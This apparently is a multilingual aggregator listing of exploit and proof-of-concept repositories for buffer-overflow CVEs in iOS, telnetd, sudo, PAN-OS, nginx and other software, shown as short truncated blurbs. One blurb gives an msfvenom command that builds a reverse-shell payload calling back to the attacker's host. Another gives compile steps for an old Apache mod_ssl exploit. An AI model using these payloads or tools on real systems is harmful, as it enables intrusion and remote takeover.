CVE-2026-28858

⚠️ CVE-2026-28858 — Buffer Overflow in Apple iOS/iPadOS root@kitploit: ╔══════════════════════════════════════════════════════════════╗ ║ SEVERITÄT: KRITISCH │ CVSS: 9.8 │ CWE-120 │ REMOTE ║ ╚══════════════════════════════════════════════════════════════╝ Ein entfernter Benutzer kann ohne...

CVE-2026-0006-openapv-poc

CVE-2026-0006: Heap Buffer Overflow in libopenapv Android APV Codec Patch Analysis & Reproduction by Mobile Hacking Lab CVSS 9.8 Critical | Actively exploited in the wild | Patched March 2026 Note: We did not discover this vulnerability. All credit for finding and responsibly reporting...

telnet_scan

Telnet Vulnerability Scanner CVE-2026-24061 & CVE-2026-32746 A Python-based security assessment tool that detects and where applicable exploits two critical vulnerabilities in GNU InetUtils telnetd: CVE-2026-24061 – Authentication bypass via USER environment variable injection CVSS 9.8...

CVE-2024-24919

Check Point Security Gateway RCE Exploit Tool CVE-2024-24919 Overview This repository contains a tool for exploiting the CVE-2024-24919 vulnerability in Check Point Security Gateways. The tool is a multi-scanner that can identify vulnerable devices and a single-target exploit that can take full...

CVE-2026-48095

CVE-2026-48095 7-Zip est un archiveur de fichiers offrant un taux de compression élevé. Les versions 26.00 et antérieures contiennent une vulnérabilité de débordement de tas heap buffer overflow causée par une sous-allocation dans le tampon du flux compressé NTFS décalage UB de GetCuSize,...

CVE-2026-0300

🚨 CVE-2026-0300 - Критическая удалённая уязвимость выполнения кода без аутентификации в Palo Alto Networks PAN-OS Переполнение буфера в портале аутентификации User-ID™ Captive Portal — активно эксплуатируется в реальных атаках 📋 Обзор Критическая уязвимость переполнения буфера CWE-787 в портале...

vbox_cve_2017_10235

CVE-2017-10235: VirtualBox E1000 device buffer overflow Introduction The following document details a bug found in VirtualBox v5.1.22 now fixed in v5.1.24, in the guest device emulation component DevE1000 Intel 82540EM Ethernet Controller Emulation, in the function e1kFallbackAddToFrame, which...

CVE-2018-4407-iOS-exploit

Exploit de Ataque CVE-2018-4407 iOS CVE-2018-4407 é um ataque BOF simples e muito rápido contra iOS/mac que pode levar a DOS. A vulnerabilidade é um estouro de buffer heap no código de rede no kernel do sistema operacional XNU. XNU é usado tanto pelo iOS quanto pelo macOS, razão pela qual iPhones...

CVE-2025-52413

CVE-2025-52413 — Particle Device OS BLE Pufferüberlauf Entdecker : Golden Ticket Labs Anbieter : Particle Datum der Zuweisung : 12. August 2025 MITRE Beschreibung Ein Pufferüberlauf in der Komponente blecontrolrequestchannel.cpp von Particle Device OS v5.6.0 ermöglicht das Überschreiben von...

CVE-2026-6643

CVE-2026-6643 — ASUSTOR ADM 5.1.2 RCE Format String CWE-134 + Stack Buffer Overflow CWE-121 in vpnupload.cgi Zusammenfassung der Sicherheitslücke...

CVE-2019-18634

CVE-2019-18634 ⚠️ Este código foi testado apenas no sudo 1.8.25. O bug afeta versões 1.8.30, mas existem diferenças no tratamento de caracteres que impedem a execução deste PoC isso não mitiga a explorabilidade do bug. Veja 1 ⚠️ Exploit funcional para CVE-2019-18634, um estouro de buffer no heap...

CVE-2002-0082

修复：https://www.exploit-db.com/exploits/764 ：Apache modssl 2.8.7 OpenSSL - 'OpenFuckV2.c' 远程缓冲区溢出 1 来源：https://blog.hypn.za.net/2017/08/27/compiling-exploit-764-c-in-2017/ 不要忘记： apt-get install libssl-dev 编译： gcc -o 764 764.c -lcrypto...

CVE-2019-11395

CVE-2019-11395 概述 本概念验证（PoC）展示了 MailCarrier 2.51 中的缓冲区溢出漏洞 ，允许远程攻击者通过长字符串执行任意代码。该漏洞可通过以下流程利用： SMTP RCPT TO POP3 USER POP3 LIST POP3 TOP POP3 RETR 本项目旨在提供一种学术方法 ，帮助理解缓冲区溢出是如何工作的。 ⚠️ 警告 在运行任何测试之前，切勿使用你的生产环境 进行初始实验。相反，应创建一个与生产环境类似的实验室环境 ，以免出现问题或意外后果 。 🔧 准备工作 1. 发现漏洞 使用模糊测试技术 确定使应用程序崩溃所需的大致字节数。 2...

CVE-2009-3999

CVE-2009-3999 HP Power Manager 4.2 Build 7 漏洞利用 灵感来源于 https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 步骤 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' x86/alphamixe...

setcred

FreeBSD setcred2 — शोध कलाकृतियाँ यह उपनिर्देशिका FreeBSD 14.x कर्नेल में setcred2 स्टैक बफर ओवरफ़्लो के लिए लिखित विवरण और कार्यशील एक्सप्लॉइट्स एकत्र करती है। भेद्यता स्वयं setcred.txt में पूरी तरह से प्रलेखित है। संक्षिप्त संस्करण: kernsetcredcopyinsuppgroups sizeofgroups का उपयोग करता है, जहा...

CVE-2021-3156-Baron-Samedit

CVE-2021-3156 - "Baron Samedit" 实验与利用 该仓库提供了一个自包含的教学环境，用于理解和利用 CVE-2021-3156 ，这是 sudo 中一个基于堆的缓冲区溢出漏洞，允许任何非特权用户在受影响系统（sudo 版本低于 1.9.5p2）上获取 root 权限。 本材料仅用于授权的安全培训与研究 。 在未经授权的系统上使用本材料进行非道德操作是违法的。 仓库内容 Dockerfile - 构建带 sudo 1.8.31（含漏洞）的 Ubuntu 20.04 容器 exploit.c - 主要利用载荷（针对 Ubuntu 20.04 适配）...

lab-cve-2023-4863

CVE-2023-4863 — libwebp शोषण प्रयोगशाला CVE-2023-4863 libwebp में heap buffer overflow का पूर्णतः पृथक और स्वचालित Docker वातावरण में पुनरुत्पादन। CEFIRE के एथिकल हैकिंग मॉड्यूल के अभ्यास पर आधारित। यह लैब क्या करता है निजी नेटवर्क में आठ containers तैनात करता है:...

CVE-2025-60854

CVE-2025-60854 D-link AX1500 भेद्यता मैंने हाल ही में एक D-Link राउटर पर भेद्यता विश्लेषण किया और अपने निष्कर्षों का दस्तावेजीकरण करना चाहता हूँ। लक्ष्य मॉडल: D-Link AX1500 संस्करण : 1.20.01 और उससे नीचे इस समस्या का CVE नंबर वर्तमान में प्रकाशित हो चुका है। भेद्य फ़ंक्शन इस प्रकार है:...

CVE-2025-5548

🚀 CVE-2025-5548 - FreeFloat FTP सर्वर 1.0 का शोषण पेशेवर भेद्यता विश्लेषण और पूर्ण दूरस्थ बफर ओवरफ्लो शोषण 🎯 परियोजना की मुख्य बातें CVE-2025-5548 का पूर्ण वास्तविक दुनिया का केस स्टडी FreeFloat FTP सर्वर 1.0 में NOOP कमांड के माध्यम से दूरस्थ स्टैक-आधारित बफर ओवरफ्लो मैन्युअल टूल इंस्टॉलेशन +...

CVE-2026-42945

CVE-2026-42945 Nginx Rift - PoC टूलकिट CVE-2026-42945 Nginx Rift के लिए एक व्यापक प्रूफ-ऑफ-कॉन्सेप्ट टूलकिट, जो Nginx के ngxhttprewritemodule में एक गंभीर हीप बफर ओवरफ्लो भेद्यता है। भेद्यता सारांश फ़ील्ड| विवरण ---|--- CVE ID| CVE-2026-42945 नाम| Nginx Rift प्रकार| हीप बफर ओवरफ्लो घटक|...